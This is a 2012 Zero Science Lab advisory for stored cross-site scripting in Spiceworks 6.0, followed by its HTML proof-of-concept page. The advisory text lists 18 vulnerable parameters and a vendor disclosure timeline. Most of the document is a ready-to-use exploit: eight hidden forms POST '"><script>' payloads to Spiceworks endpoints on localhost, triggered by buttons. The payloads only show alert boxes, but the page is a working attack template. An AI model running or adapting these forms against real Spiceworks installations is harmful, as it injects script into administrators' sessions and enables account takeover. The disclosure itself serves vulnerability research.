330 lines
No EOL
18 KiB
Text
330 lines
No EOL
18 KiB
Text
<!--
|
|
|
|
|
|
Title: Spiceworks 6.0.00993 Multiple Script Injection Vulnerabilities
|
|
|
|
|
|
Vendor: Spiceworks Inc.
|
|
Product web page: http://www.spiceworks.com
|
|
Affected version: 6.0.00993 and 6.0.00966
|
|
|
|
Summary: The Spiceworks IT Desktop delivers nearly everything you need to simplify your
|
|
IT job. Available in a variety of languages, Spiceworks' single, easy-to-use interface
|
|
combines Network Inventory, Help Desk, Mapping, Reporting, Monitoring and Troubleshooting.
|
|
And, it connects you with other IT pros to share ideas, solve problems and decide what
|
|
additional features you need in Spiceworks.
|
|
|
|
Desc: Spiceworks suffers from multiple stored cross-site scripting vulnerabilities. The
|
|
issues are triggered when input passed via several parameters to several scripts is not
|
|
properly sanitized before being returned to the user. This can be exploited to execute
|
|
arbitrary HTML and script code in a user's browser session in context of an affected site.
|
|
List of parameters and modules that are affected:
|
|
|
|
|
|
--------------------------------------------------------------------------------------------------------------
|
|
# * Parameter * * Module / Component *
|
|
--------------------------------------------------------------------------------------------------------------
|
|
|
|
1. agreement[account] ...................................... agreements
|
|
2. article[new_references][][url] .......................... xbb/knowledge_base
|
|
3. asset[device_type] ...................................... asset
|
|
4. asset[mac_address] ...................................... asset
|
|
5. asset[name] ............................................. asset
|
|
6. category[name] .......................................... settings/categories
|
|
7. international[global_date_abbrev_format] ................ settings/advanced/save_international_settings
|
|
8. international[global_date_format] ....................... settings/advanced/save_international_settings
|
|
9. international[global_date_time_format] .................. settings/advanced/save_international_settings
|
|
10. international[global_date_simple_format] ................ settings/advanced/save_international_settings
|
|
11. international[global_time_format] ....................... settings/advanced/save_international_settings
|
|
12. navigation[name] ........................................ my_tools
|
|
13. purchase[name] .......................................... purchases
|
|
14. purchase[price] ......................................... purchases
|
|
15. purchase[purchased_for_name] ............................ purchases
|
|
16. report[description] ..................................... reports/create
|
|
17. vendor[name] ............................................ agreements
|
|
18. vendor[website] ......................................... agreements
|
|
|
|
--------------------------------------------------------------------------------------------------------------
|
|
|
|
|
|
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
|
|
Apache 2.2.19
|
|
Ruby 1.9.1
|
|
SQLite 3.7.5
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
liquidworm gmail com
|
|
Zero Science Lab - http://www.zeroscience.mk
|
|
|
|
|
|
Vendor status:
|
|
|
|
[26.08.2012] Vulnerabilities discovered.
|
|
[29.08.2012] Contact with the vendor.
|
|
[29.08.2012] Vendor responds asking more details.
|
|
[29.08.2012] Sent detailed information to the vendor.
|
|
[29.08.2012] Vendor confirms receiving files.
|
|
[03.09.2012] Asked vendor for confirmation.
|
|
[04.09.2012] Vendor awaits status from submited ticket to development team.
|
|
[11.09.2012] Asked vendor for status update.
|
|
[11.09.2012] Vendor says that the development team is still investigating.
|
|
[13.09.2012] Informed the vendor that the advisory will be published on 17th of September.
|
|
[14.09.2012] Vendor replies stating that a developer will contact us.
|
|
[17.09.2012] No contact from the development team.
|
|
[17.09.2012] Public security advisory released.
|
|
|
|
|
|
Advisory ID: ZSL-2012-5107
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5107.php
|
|
|
|
Spiceworks: http://community.spiceworks.com/help#Current
|
|
|
|
|
|
26.08.2012
|
|
|
|
|
|
-->
|
|
|
|
|
|
<html>
|
|
<head>
|
|
<title>Spiceworks 6.0.00993 Multiple Script Injection Vulnerabilities</title>
|
|
<link rel="Shortcut Icon" href="http://zeroscience.mk/favicon.ico" type="image/x-icon">
|
|
</head>
|
|
<body bgcolor="#1C1C1C" leftmargin="100"><br />
|
|
<img style="margin-left:10" src="http://zeroscience.mk/images/zsl-logo1.png" hight="20%" width="20%">
|
|
|
|
<script type="text/javascript">
|
|
|
|
var disclaimer = "This document and all the information it contains are provided \"as is\",\n" +
|
|
"for educational purposes only, without warranty of any kind, whether\n" +
|
|
"express or implied.\n\n" +
|
|
|
|
"The author reserves the right not to be responsible for the topicality,\n" +
|
|
"correctness, completeness or quality of the information provided in\n" +
|
|
"this document. Liability claims regarding damage caused by the use of\n" +
|
|
"any information provided, including any kind of information which is\n" +
|
|
"incomplete or incorrect, will therefore be rejected.";
|
|
|
|
var answ = confirm(disclaimer);
|
|
|
|
if (answ == true){}else{window.location.href = "http://www.spiceworks.com";}
|
|
|
|
function xss1(){document.forms["xss1"].submit();}
|
|
function xss2(){document.forms["xss2"].submit();}
|
|
function xss3(){document.forms["xss3"].submit();}
|
|
function xss4(){document.forms["xss4"].submit();}
|
|
function xss5(){document.forms["xss5"].submit();}
|
|
function xss6(){document.forms["xss6"].submit();}
|
|
function xss7(){document.forms["xss7"].submit();}
|
|
function xss8(){document.forms["xss8"].submit();}
|
|
|
|
</script>
|
|
|
|
<center><h2 style="position:absolute;left:525;top:32;background-color:#BAB8B9;width:200">
|
|
HTML Response:</h2></center>
|
|
|
|
<iframe src="http://localhost/login" width="1100" height="700"
|
|
name="ZSL_iframe" align="top" frameborder="1" style="position:absolute;left:525;
|
|
top:80;background-color:#cecece;border-color:#FFFFFF"></iframe>
|
|
|
|
<font color="#FF6633" size="2" style="position:absolute;top:795px;right:55px">v1.6</font>
|
|
|
|
<form action="http://localhost/agreements"
|
|
enctype="application/x-www-form-urlencoded" method="POST" id="xss1" target="ZSL_iframe">
|
|
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />
|
|
<input type="hidden" name="agreement[account]" value='"><script>alert(1);</script>' />
|
|
<input type="hidden" name="agreement[account_manager]" value="" />
|
|
<input type="hidden" name="agreement[agreement_type]" value="other-vendor" />
|
|
<input type="hidden" name="agreement[cost]" value="1" />
|
|
<input type="hidden" name="agreement[cost_unit]" value="per month" />
|
|
<input type="hidden" name="agreement[email]" value="" />
|
|
<input type="hidden" name="agreement[phone]" value="" />
|
|
<input type="hidden" name="agreement[service_end]" value="1" />
|
|
<input type="hidden" name="agreement[service_start]" value="" />
|
|
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
|
|
<input type="hidden" name="from" value="sp_toolbar" />
|
|
<input type="hidden" name="purchase_id" value="" />
|
|
<input type="hidden" name="vendor[id]" value="" />
|
|
<input type="hidden" name="vendor[name]" value='"><script>alert(2);</script>' />
|
|
<input type="hidden" name="vendor[website]" value='"><script>alert(3);</script>' />
|
|
</form>
|
|
|
|
<!-- (New Article in Knowledge Base) -->
|
|
|
|
<form action="http://localhost/xbb/knowledge_base?uuid=f467c1ba-9b18-4325-b441-de9b4f42f555&ehash=edad6981ec082863da194e104a9257ff"
|
|
enctype="application/x-www-form-urlencoded" method="POST" id="xss2" target="ZSL_iframe">
|
|
<input type="hidden" name="article[end_content]" value="" />
|
|
<input type="hidden" name="article[new_references][][temp_id]" value="c33" />
|
|
<input type="hidden" name="article[new_references][][title]" value="ZSL" />
|
|
<input type="hidden" name="article[new_references][][url]" value='"><script>alert(4);</script>' />
|
|
<input type="hidden" name="article[new_steps][][content]" value="1" />
|
|
<input type="hidden" name="article[new_steps][][position]" value="1" />
|
|
<input type="hidden" name="article[new_steps][][temp_id]" value="c30" />
|
|
<input type="hidden" name="article[new_steps][][title]" value="1" />
|
|
<input type="hidden" name="article[shared_with]" value="0" />
|
|
<input type="hidden" name="article[start_content]" value="1" />
|
|
<input type="hidden" name="article[title]" value="1" />
|
|
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
|
|
</form>
|
|
|
|
<form action="http://localhost/asset"
|
|
enctype="application/x-www-form-urlencoded" method="POST" id="xss3" target="ZSL_iframe">
|
|
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />
|
|
<input type="hidden" name="active_tab" value="general" />
|
|
<input type="hidden" name="asset[c_purchase_date]" value="" />
|
|
<input type="hidden" name="asset[c_purchase_price]" value="12" />
|
|
<input type="hidden" name="asset[device_type]" value='"><script>alert(5);</script>' />
|
|
<input type="hidden" name="asset[mac_address]" value='"><script>alert(6);</script>' />
|
|
<input type="hidden" name="asset[manually_added]" value="true" />
|
|
<input type="hidden" name="asset[name]" value='"><script>alert(7);</script>' />
|
|
<input type="hidden" name="asset[serial_number]" value="111" />
|
|
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
|
|
<input type="hidden" name="category_from" value="8" />
|
|
<input type="hidden" name="custom_reclassify" value="" />
|
|
<input type="hidden" name="from" value="dashboard" />
|
|
<input type="hidden" name="mode" value="" />
|
|
<input type="hidden" name="shown" value="true" />
|
|
</form>
|
|
|
|
<form action="http://localhost/settings/categories"
|
|
enctype="application/x-www-form-urlencoded" method="POST" id="xss4" target="ZSL_iframe">
|
|
<input type="hidden" name="_method" value="put" />
|
|
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />
|
|
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
|
|
<input type="hidden" name="category[icon]" value="user_defined" />
|
|
<input type="hidden" name="category[id]" value="39" />
|
|
<input type="hidden" name="category[name]" value='"><script>alert(8);</script>' />
|
|
<input type="hidden" name="category[rule_set_attributes][and_or]" value="OR" />
|
|
<input type="hidden" name="category[rule_set_attributes][klass]" value="Device" />
|
|
<input type="hidden" name="icon" value="" />
|
|
</form>
|
|
|
|
<form action="http://localhost/settings/advanced/save_international_settings"
|
|
enctype="application/x-www-form-urlencoded" method="POST" id="xss5" target="ZSL_iframe">
|
|
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />
|
|
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
|
|
<input type="hidden" name="btn" value="save" />
|
|
<input type="hidden" name="international[currency]" value="USD" />
|
|
<input type="hidden" name="international[global_date_abbrev_format]" value='"><script>alert(9);</script>' />
|
|
<input type="hidden" name="international[global_date_format]" value='"><script>alert(10);</script>' />
|
|
<input type="hidden" name="international[global_date_simple_format]" value='"><script>alert(11);</script>' />
|
|
<input type="hidden" name="international[global_date_time_format]" value='"><script>alert(12);</script>' />
|
|
<input type="hidden" name="international[global_time_format]" value='"><script>alert(13);</script>' />
|
|
<input type="hidden" name="international[locale]" value="en" />
|
|
</form>
|
|
|
|
<form action="http://localhost/my_tools"
|
|
enctype="application/x-www-form-urlencoded" method="POST" id="xss6" target="ZSL_iframe">
|
|
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />
|
|
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
|
|
<input type="hidden" name="navigation[name]" value='"><script>alert(14);</script>' />
|
|
<input type="hidden" name="navigation[url]" value="1" />
|
|
</form>
|
|
|
|
<form action="http://localhost/purchases"
|
|
enctype="application/x-www-form-urlencoded" method="POST" id="xss7" target="ZSL_iframe">
|
|
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />
|
|
<input type="hidden" name="active_tab" value="undefined" />
|
|
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
|
|
<input type="hidden" name="purchase[agreement_id]" value="" />
|
|
<input type="hidden" name="purchase[agreement_id]" value="" />
|
|
<input type="hidden" name="purchase[charge_to]" value="General" />
|
|
<input type="hidden" name="purchase[name]" value='"><script>alert(15);</script>' />
|
|
<input type="hidden" name="purchase[notes]" value="" />
|
|
<input type="hidden" name="purchase[part_number]" value="" />
|
|
<input type="hidden" name="purchase[price]" value='"><script>alert(16);</script>' />
|
|
<input type="hidden" name="purchase[purchase_order]" value="" />
|
|
<input type="hidden" name="purchase[purchased_for_id]" value="" />
|
|
<input type="hidden" name="purchase[purchased_for_name]" value='"><script>alert(17);</script>' />
|
|
<input type="hidden" name="purchase[purchased_for_type]" value="" />
|
|
<input type="hidden" name="purchase[quantity]" value="1" />
|
|
<input type="hidden" name="purchase_source" value="purchases_page" />
|
|
<input type="hidden" name="viewing_asset_id" value="undefined" />
|
|
<input type="hidden" name="viewing_asset_type" value="undefined" />
|
|
</form>
|
|
|
|
<form action="http://localhost/reports/create"
|
|
enctype="application/x-www-form-urlencoded" method="POST" id="xss8" target="ZSL_iframe">
|
|
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />
|
|
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
|
|
<input type="hidden" name="btn" value="" />
|
|
<input type="hidden" name="form_action" value="create" />
|
|
<input type="hidden" name="report[and_or]" value="AND" />
|
|
<input type="hidden" name="report[class_type]" value="DeviceReport" />
|
|
<input type="hidden" name="report[description]" value='"><script>alert(18);</script>' />
|
|
<input type="hidden" name="report[id]" value="" />
|
|
<input type="hidden" name="report[name]" value="Zero Science Lab" />
|
|
<input type="hidden" name="report[public]" value="0" />
|
|
<input type="hidden" name="report[public]" value="1" />
|
|
<input type="hidden" name="report[sql]" value="" />
|
|
<input type="hidden" name="report_field[][field_name]" value="name" />
|
|
<input type="hidden" name="report_field[][field_name]" value="primary_owner_name" />
|
|
<input type="hidden" name="report_field[][field_name]" value="ip_address" />
|
|
<input type="hidden" name="report_field[][field_name]" value="operating_system" />
|
|
<input type="hidden" name="report_field[][field_name]" value="serial_number" />
|
|
<input type="hidden" name="report_field[][field_name]" value="manufacturer" />
|
|
<input type="hidden" name="report_field[][field_name]" value="device_type" />
|
|
<input type="hidden" name="report_field_add" value="" />
|
|
<input type="hidden" name="report_fields_selected[]" value="name" />
|
|
<input type="hidden" name="report_fields_selected[]" value="primary_owner_name" />
|
|
<input type="hidden" name="report_fields_selected[]" value="ip_address" />
|
|
<input type="hidden" name="report_fields_selected[]" value="operating_system" />
|
|
<input type="hidden" name="report_fields_selected[]" value="serial_number" />
|
|
<input type="hidden" name="report_fields_selected[]" value="manufacturer" />
|
|
<input type="hidden" name="report_fields_selected[]" value="device_type" />
|
|
<input type="hidden" name="report_filter[1346077855344195][key]" value="name" />
|
|
<input type="hidden" name="report_filter[1346077855344195][operator]" value="contains" />
|
|
<input type="hidden" name="report_filter[1346077855344195][value]" value="Begin typing for options..." />
|
|
<input type="hidden" name="run" value="1" />
|
|
</form>
|
|
|
|
|
|
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
|
|
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
|
|
value=" 1. agreement[account]
|
|
2. vendor[name]
|
|
3. vendor[website]" onClick="xss1()" />
|
|
<br />
|
|
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
|
|
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
|
|
value=" 4. article[new_references][][url]" onClick="xss2()" />
|
|
<br />
|
|
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
|
|
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
|
|
value=" 5. asset[device_type]
|
|
6. asset[mac_address]
|
|
7. asset[name]" onClick="xss3()" />
|
|
<br />
|
|
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
|
|
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
|
|
value=" 8. category[name]" onClick="xss4()" />
|
|
<br />
|
|
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
|
|
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
|
|
value=" 9. international[global_date_abbrev_format]
|
|
10. international[global_date_format]
|
|
11. international[global_date_time_format]
|
|
12. international[global_date_simple_format]
|
|
13. international[global_time_format]" onClick="xss5()" />
|
|
<br />
|
|
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
|
|
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
|
|
value="14. navigation[name]" onClick="xss6()" />
|
|
<br />
|
|
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
|
|
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
|
|
value="15. purchase[name]
|
|
16. purchase[price]
|
|
17. purchase[purchased_for_name]" onClick="xss7()" />
|
|
<br />
|
|
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
|
|
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
|
|
value="18. report[description]" onClick="xss8()" />
|
|
<br /><font color="#FF6633" style="margin-left:20">==================================<br />
|
|
<br /><br /><br />
|
|
<font color="#FF6633" size="1" style="margin-left:20">2012 © <a href="http://www.zeroscience.mk"
|
|
target="_blank" style="text-decoration:none"><font color="#FF6633">Zero Science Lab</font></a>
|
|
|
|
</body></html> |